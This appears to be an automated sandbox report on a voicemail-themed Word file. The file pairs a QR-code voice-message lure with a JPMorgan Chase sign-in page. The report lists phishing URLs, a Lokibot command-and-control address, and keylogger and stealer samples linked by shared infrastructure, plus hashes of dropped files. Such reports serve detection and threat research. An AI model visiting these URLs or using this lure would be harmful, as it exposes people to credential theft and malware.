	{ "brands": [ "JPMorgan Chase & Co." ] }
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf Model: Joe Sandbox AI	```json{ "legit_domain": "jpmorganchase.com", "classification": "wellknown", "reasons": [ "The brand 'JPMorgan Chase & Co.' is a well-known financial institution.", "The URL 'idag2.jpmorganchase.com' uses the legitimate domain 'jpmorganchase.com'.", "The subdomain 'idag2' could be a legitimate internal or regional service of JPMorgan Chase.", "No suspicious elements such as misspellings or unusual domain extensions are present in the URL." ], "riskscore": 2}
URL: idag2.jpmorganchase.com Brands: JPMorgan Chase & Co. Input Fields: Standard ID, Password, NAEAST
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please use your smartphone camera to scan the Qr code below and listen to your voice message", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": true, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "brands": [ "Catterton" ] }
	{ "brands": [ "Catterton" ] }
URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
172.67.155.45	Cotizaci#U00f3n-20210803.pdf.exe	Get hash	malicious	Lokibot	Browse	zamloki.xyz/des/co/tox.php
	Detalles del banco.pdf.exe	Get hash	malicious	Lokibot	Browse	zamloki.xyz/des/co/tox.php
	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Lokibot	Browse	zamloki.xyz/des/co/tox.php
	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Lokibot	Browse	zamloki.xyz/des/co/tox.php
104.18.94.41	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse
	https://zfrmz.com/3GiGYUP4BArW2NBgkPU3	Get hash	malicious	Unknown	Browse
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse
	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
idag2.intl.gslbjpmchase.com	https://zvbiitngbh67xfz7mdm4.ampleintel.com/dac3998559236e28f871724a3bc40575%20alexand.doe@jpmchase.com	Get hash	malicious	Unknown	Browse	170.148.240.44
	https://www.evernote.com/shard/s429/sh/9ae81a09-908d-0485-7a15-55a4051e16cc/Xc5wDeb0HY5FS3oQm-hrskuEe9cbvXWU2-sjaIHpVdIX3PZzZ6SjNd4hsQ	Get hash	malicious	HTMLPhisher	Browse	159.53.83.70
	https://thegreenid.com/fonts/sharepoint3/?e=SmFtZXNzQGNwZXF1aXR5LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	159.53.112.212
cdnjs.cloudflare.com	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	104.17.25.14
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.24.14
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	104.17.24.14
challenges.cloudflare.com	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	104.18.94.41
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.18.94.41
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.18.94.41
	https://zfrmz.com/3GiGYUP4BArW2NBgkPU3	Get hash	malicious	Unknown	Browse	104.18.94.41
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.18.94.41
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	104.18.94.41
code.jquery.com	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	151.101.66.137
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.66.137
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.2.137
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.194.137
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	151.101.2.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	Y8Q1voljvb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	ofZiNLLKZU.exe	Get hash	malicious	FormBook	Browse	104.21.28.65
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	3HnH4uJtE7.exe	Get hash	malicious	FormBook	Browse	104.21.48.233
	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	104.17.25.14
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
FASTLYUS	3HnH4uJtE7.exe	Get hash	malicious	FormBook	Browse	185.199.109.153
	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	151.101.131.9
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.66.137
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.2.137
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	151.101.129.16
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	185.199.108.153
	https://www.shinsengumiusa.com/mrloskie	Get hash	malicious	Unknown	Browse	151.101.65.21
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://cjerichmond.jimdosite.com/	Get hash	malicious	Unknown	Browse	151.101.2.79
CLOUDFLARENETUS	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	Y8Q1voljvb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	ofZiNLLKZU.exe	Get hash	malicious	FormBook	Browse	104.21.28.65
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	3HnH4uJtE7.exe	Get hash	malicious	FormBook	Browse	104.21.48.233
	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	104.17.25.14
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
CLOUDFLARENETUS	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	Y8Q1voljvb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	ofZiNLLKZU.exe	Get hash	malicious	FormBook	Browse	104.21.28.65
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	3HnH4uJtE7.exe	Get hash	malicious	FormBook	Browse	104.21.48.233
	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	104.17.25.14
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Reputation:	high, very likely benign file
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 17:04:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.990342262688459
Encrypted:	false
SSDEEP:	48:8adOTqasoHNidAKZdA1FehwiZUklqehSy+3:8bTBFy
MD5:	733A540DBA4F8FFDF8B191769C7B9D89
SHA1:	86BA9BC1CBE89D175D465E9EE365F2DD25644DDC
SHA-256:	98CE480CD6F9C6A4693EB6744DD15E556D54DA2B0D97C82FA5B4D5A984F2C1C8
SHA-512:	1442A6DCE7A1B35F40053EC7A2ABEC376B414E154BA2D506F0C507554E7A4FAAFB3CB959278C57EB694F133F5BAEF2BE668BBA087748A1CD1CB29252063B1475
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....e.".c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 17:04:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.008565595049354
Encrypted:	false
SSDEEP:	48:8AdOTqasoHNidAKZdA1seh/iZUkAQkqeh1y+2:81TX9QQy
MD5:	115196E1A61E6C9D945A9211D35EA0E3
SHA1:	F9A8ABDD09EF68C5A0E00FED16AFD31EE0AF5FB1
SHA-256:	9A8E96F2AD0D8C76291C40130220EB65DF54216AC29557AE206BC38884C4E489
SHA-512:	2971EF5F55C89BD97EB74940A2CCD121DD4979CD22630900DA3D0CB4A4FEFE2D9ADD06634A26D92A1FBE351A35B87221F68B4D3992F92AF8128EF42746787587
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....<.".c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0168195020618915
Encrypted:	false
SSDEEP:	48:8idOTqaAHNidAKZdA14meh7sFiZUkmgqeh7sry+BX:8zTonxy
MD5:	625834B3306B6D00231E7C062038292C
SHA1:	B444AD05E89961F5C81BA33DAEBE407D52441941
SHA-256:	5E8CF9531AE442B56F3C197BF9EE071296DCA17D6B51F34B649CAC69439FCA77
SHA-512:	08236AD0F44B0BD8DF4397C14E6DB59FA3516B4833863DA8F6E698A5887BD6D5D1DF13925D2EFA64454A659B7896D28C7F86952C7C858EA9D42B0D4086255840
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 17:04:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.008666236309637
Encrypted:	false
SSDEEP:	48:8sdOTqasoHNidAKZdA1TehDiZUkwqehJy+R:85Tkjy
MD5:	ACA3208C99C6F4C54BE7BBE31508ED18
SHA1:	6AE58A7DB97302374DA1B95D78C30751D1E5EAF4
SHA-256:	0F9BFA7A5FCA9D3CA4E4489400FAE5223092D22E29FAB80D637D7EADB7C1164B
SHA-512:	20A45049EFD5B8B5AA3267C12C1F5CD0440A8BAA4D24923F914B3CD02E21803678FC1D79FABBDC913BA7E534BAF54BE0118D6DA8E6B24654C48EA11EE7ED9D27
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......".c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 17:04:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.996383123698306
Encrypted:	false
SSDEEP:	48:8TdOTqasoHNidAKZdA1dehBiZUk1W1qehHy+C:8oTE9ny
MD5:	2B192022F36A3BFDF782FB685E235254
SHA1:	CBE45C514B5E318E00CCB4454A5AC735195EAD78
SHA-256:	CFF5FFF4F2EAE88B86BD2B2370970B42B38E80181F7B8C060EFF68C40BDBCDAA
SHA-512:	4A3AB9A60C29A830114DF63E7667707EA129A329F25F10911C8F6E52015889BA7718B3239F8C148327A281D9DE0970AAA40339D463CCE4DD3D14FCA35DADA2A5
Malicious:	false
Preview:	L..................F.@.. ...$+.,......".c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 17:04:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.004297196482726
Encrypted:	false
SSDEEP:	48:8odOTqasoHNidAKZdA1duTeehOuTbbiZUk5OjqehOuTbxy+yT+:8NT2TfTbxWOvTbxy7T
MD5:	37C58D2839D756DB2ACB07A92FB7B6B4
SHA1:	CD0056A25ECC1A8EC3A4B716A78B756DAC5FC365
SHA-256:	4D93D5EFD68264136D2542A6B0CC637B1227B977D1B3F9C71DA12E6FF2FB9667
SHA-512:	DE472227B43F67EA0DAE0A64750B3ACB4F32D520369A32DDEA60D8796A2619C816334AF236653E9C6AB4E2357F27E4FE295F4BF23B6BB2CEDCA3DF0FAFCDB926
Malicious:	false
Preview:	L..................F.@.. ...$+.,....VO.".c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Desktop\~$icemail_+Transcription+_ATT006151.docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.763778875213888
Encrypted:	false
SSDEEP:	3:sce7BTsmm4D3cL7Wf5eldIJwPaMxZYo:scjYgWMiJ6eo
MD5:	B660C7688CA1A335363D9E747425FF4A
SHA1:	4A62A9FA4CC226E36531AE305C3023CCE7E7805D
